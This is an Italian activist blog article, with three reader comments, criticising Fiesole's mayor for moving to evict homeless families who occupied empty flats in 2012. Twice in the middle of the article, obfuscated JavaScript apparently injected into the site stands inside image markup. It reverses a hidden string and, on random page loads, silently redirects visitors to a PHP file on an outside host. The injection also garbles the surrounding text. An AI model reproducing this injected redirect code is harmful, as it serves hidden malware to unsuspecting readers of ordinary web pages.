Lotta di classe a Fiesole. Il sindaco Incatasciato contro 20 bambini senza casa (e i loro genitori)

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Prima di partire per occupare gli appartamenti abbandonati di Pian del Mugnone l’assemblea degli occupanti riunita domenica mattina presto aveva un timore. Non quello di essere denunciati, perché quando sei senza un letto dove andare a dormire metti in conto anche di avere a che fare con la polizia. Avevano invece paura dei loro futuri vicini di casa, temevano che potessero rimanere “disturbati” dalla loro presenza e quindi facessero di tutto per mandarli via. Eppure lo scandalo più grande era un altro ed era sotto gli occhi degli abitanti delle ville di via Burlamacco da anni. Una palazzina con 28 appartamenti lasciata al suo destino dai proprietari (il fondo di previdenza dei dipendenti della Cassa di Risparmio). Uno spreco certo per chi è senza casa ma, che li sosteneva nella loro azione, che se erano costretti ad occupare era perché la crisi su di loro aveva colpito in maniera ancora più dura rispetto ai “ceti medi”, perché nessuno ambisce a sfondare una porta per vivere con dignità, perché le istituzioni e gli amministratori hanno il dovere di applicare la Costituzione e garantire i fondamentali diritti di cittadinanza e invece sempre più spesso preferiscono stare con i poteri forti: banche, costruttori, imprenditori senza scrupoli, affaristi.

Nella tarda mattinata, dopo aver spiegato la situazione alla Digos grazie all’intervento dei consiglieri comunali Ornella De Zordo e Sandro Targetti, dopo aver superato la resistenza di un’agente di polizia municipale senza strumenti culturali per affrontare una situazione così complessa, le 12 famiglie hanno preso possesso della loro nuova casa, il primo passo per poi mandare i figli a scuola, riuscire ad avere un rapporto “normale” con una società che fino ad oggi li ha esclusi.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2012/04/foto1.jpg”>Nessuna occupazione è facile. Sottrarre un palazzo alla speculazione sfondando una porta è forse la cosa più semplice. Poi va trovato un materasso e qualche mobile, bisogna recuperare sia l’acqua per bere e lavarsi che da mangiare, qualcosa con cui scaldarsi e allo stesso tempo è utile darsi delle regole condominali condivise. Solo dopo si parte per cercare un reddito capace, un giorno o l’altro, di assicurare una casa vera e propria, dove i più piccoli non debbano vergognarsi di invitare i loro amici di scuola.

Così, tra gli occhi fintamente distratti e le facce torve di alcuni abitanti della zona, è arrivato il pomeriggio e con esso il sindaco di Fiesole Fabio Incatasciato, del Partito Democratico. Lui viene dal Partito Comunista, si dichiara di sinistra e nel suo programma di Sindaco ha scritto che quella di Fiesole è “una comunità attenta agli altri, solidale, inclusiva con chi è in difficoltà”. Per lui sarebbe un pomeriggio fortunato, perché ha la possibilità di essere solidale, inclusivo e attento nei confronti di 50 disperati senza casa, tra cui – ripetiamo – oltre 20 bambini. E invece rinnega tutto in maniera inequivocabile con una frase che – se esistesse – potremmo definire Padana nello spirito e nei contenuti: “Nel vicinato c’è molto allarme per quanto accaduto. Domani manderemo la Asl e inizieremo le procedure per mettere fine all’occupazione“. Padroni a casa nostra, insomma. Conta più stare dalla parte di famiglie perbene, diseducate all’umanità che da quella di chi nulla ha.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2012/04/incatasciato_bersani_a_fiesole.jpg”>Nel 2012, l’anno in cui l’Italia riscoprirà la lotta di classe (leggetevi l’ultimo libro di Luciano Gallino a tal proposito) per un sindaco del Partito Democratico (quello dei 202 milioni di euro di rimborso elettorale speso non si sa come) è più facile stare acriticamente dalla parte dei ricchi che non da quella dei poveri. Incatasciato non si pone nemmeno il problema di ragionare, capire, dibattere. Basta mandare la Asl e la Polizia municipale per cacciare i senza niente e reputarsi così, in nome di una falsa legalità (dobbiamo spiegare questo concetto a chi tra due giorni festeggera con retorica il 25 aprile?) un bravo amministratore che fa il suo dovere.

A quanto pare per capire la complessità della società in cui viviamo non è sufficiente una laurea in scienze politiche da 110 elode, come leggiamo nella sua scheda su internet. Eppure basterebbe quel senso di umanità che immaginiamo possegga, al di là della convenienza politica delle sue azioni, magari unito alla lettura di un volantino, quello del Movimento di Lotta per la Casa che con parole semplici recita “Ci sono almeno ventimila case libere e migliaia di persone senza alloggio, famiglie italiane e straniere che sono state escluse dalle graduatorie e non possono permettersi di pagare un affitto a prezzo di mercato. Ci riprendiamo il diritto alla casa per ricominciare a vivere“. Qualcosa di meglio e di più un Comune deve saper fare.

0 Comments

  1. Lorenzo

    note a margine di una occupazione:

    Nella giornata di ieri si sono susseguiti sino a tarda sera una serie di episodi inquietanti, che dovrebbero aprire gli occhi e fare riflettere tante persone sui reali livelli culturali e politici esistenti nella Provincia Toscana…

    per dovere di cronaca:

    1) Gli alloggi non sono di proprietà dell’Università Europea, ma di una Fondazione che gestisce i finanziamenti della Cassa di Risparmio. L’Università Europea, infatti, aveva preso in affitto gli alloggi per gli studentì della medesima Università, ma il progetto, per misteriosi motivi è fallito miseramente…
    2) Gli occupanti non sono 70 rom come riportato dal quotidiano “LA NAZIONE” con reiterata meschinità e produzione di allarme sociale. Ma sedici famiglie italiane e migranti, molte con precedenti esecuzioni di sfratto, altre impossibilitate a pagare canoni impossibili, insomma i ceti sociali pìù colpiti dalla crisi economica, precari nel lavoro e quindi nella casa, tra loro ben 26 minori.

    E veniamo ai comportamenti provocatori…

    1) L’arrivo due ore dopo l’occupazione di una ventina di militi della benemerita, di numerosi agenti della DIGOS e di un drappello dei vigili urbani ci ha fatto pensare subito al peggio, cioè alla manifesta intenzione di liberare nell’immediato l’occupazione stessa…
    Ma prima la DIGOS e successivamente i militi della benemerita hanno valutato, se non per umanità quantomeno per reali valutazioni di rapporti di forza sul campo, di essere inattrezzati allo sgombero…
    2) Chi invece ha provocato con insistenza, dalla mattina a tarda sera, sono i membri della Polizia Municipale e gli amministratori di Fiesole, sindaco Fabio Incatasciato in testa…
    Tutta questa volontà di richiedere limmediato sgombero dell palazzina non ci torna…infatti loro non sono i proprietari nè tantomeno hanno diritti da accampare.
    Sia il sindaco che gli agenti della Municipale si sono sbizzarriti negli insulti nei confronti dei militanti del movimento, dandogli costantemente di provocatori e di persone che strumentalizano i bisogni sociali dei migranti, inveendo a pìù non posso contro il loro nemico numero uno…l’onnipresente Bargellini, senza comprendere che sopratutto il movimento di lotta per la casa è uno stato d’animo, una variabile energetica prodotta dalla società esistente dove si confrontano e si rivolgano centinaia di donne e uomini diversissimi tra loro…
    Ma che tutto questo rumore sia stato imbastito per proteggere un manipolo di abitanti intorno non Quadra…

    Nessuno degli amministratori si è prodigato a cercare mediazioni a comprendere la realtà sociale esistente nell’area metropolitana, nessuno ha voluto spiegare il perchè di 26 alloggi liberi da oltre dieci anni, in barba all’emergenza casa e alle emergenze sociali.

    Sono personaggi come il sindaco di Fiesole (non diverso in questo da altri come Gianassi e in modo ancora pìù deleterio lo stesso Renzi) che nel tempo sono diventati padroni e prorietari dei territori…cresciuti nelle scuole di partito degli anni ’70 ogni tanto riesumano il loro essere figgicciotti di una volta, un improponibile miscela tra Stalin e Kennedy, tra l’ortodossia di partito e la globalizzazione dei mercati, con la accanita violenza verbale e fisica contro i movimenti autonomi e dal basso, con inviti alla delazione e all’infamia sociale nei confronti dei capi e dei presunti provocatori, mentre sui proletari o precari della esistente società controllo sociale e ricatto continuo.

    Oggi governano i territori e quello che gli sfugge di mano va represso seduta stante…

    In Toscana bisogna fare i conti anche con questa realtà, invisibile ma sporca…

    Poco altro da aggiungere ma le miseire ascoltate nella giornata di ieri presto gli si ritorceranno contro…

    intanto stamani alle 8,30 in Via Buonarroti, quartiere Santa Croce, un anziano invalido doveva essere sftrattato a difemnderlo il solito manipolo di aderenti all’Unione Inquilini e al movimento di lotta per la casa

    buona giornata a tutti, Lorenzo

    P.S – Se i combattenti della liberazione partigiana avessero previsto tutto questo, in previsione dell’anniversario del 25 aprile, probabilmente lotterebbero ancora al nostro fianco, ne siamo certi…

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  2. Duccio Ottanelli

    Mi pare veramente una situazione deludente e amareggiante per come sono andate le cose. Sinceramente come cittadino fiesolano non ho parole e dire, che il nostro sindaco l’ho sempre creduto una persona diversa, almeno a primo impatto per quanto lo conosco. Evidentemente, sembra proprio che , ancora una volta, ai nostri amministratori e politici , manchi del tutto la capacità di guardare alla vita della gente con tutte le sue difficoltà e sofferenze e , anzi si faccia di tutto per cavalcare, diffidenza e sospetto e paura verso coloro che sono “diversi”.

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  3. Roberto Budini Gattai

    Declino e involuzione dei dirigenti e del loro amebico partito. Se sei un neoliberista, stai dalla parte dei forti, dei proprietari, dei benpensanti. Il precipizio morale in cui è caduto, scivolando voluttuosamente, il primo cittadino con la sua corte di assessori si manifesta anche nello sfascio del paesaggio comunale perpetrato dalla ignobile lottizzazione dell’Anchetta. Vedere per credere
    Roberto Budini Gattai

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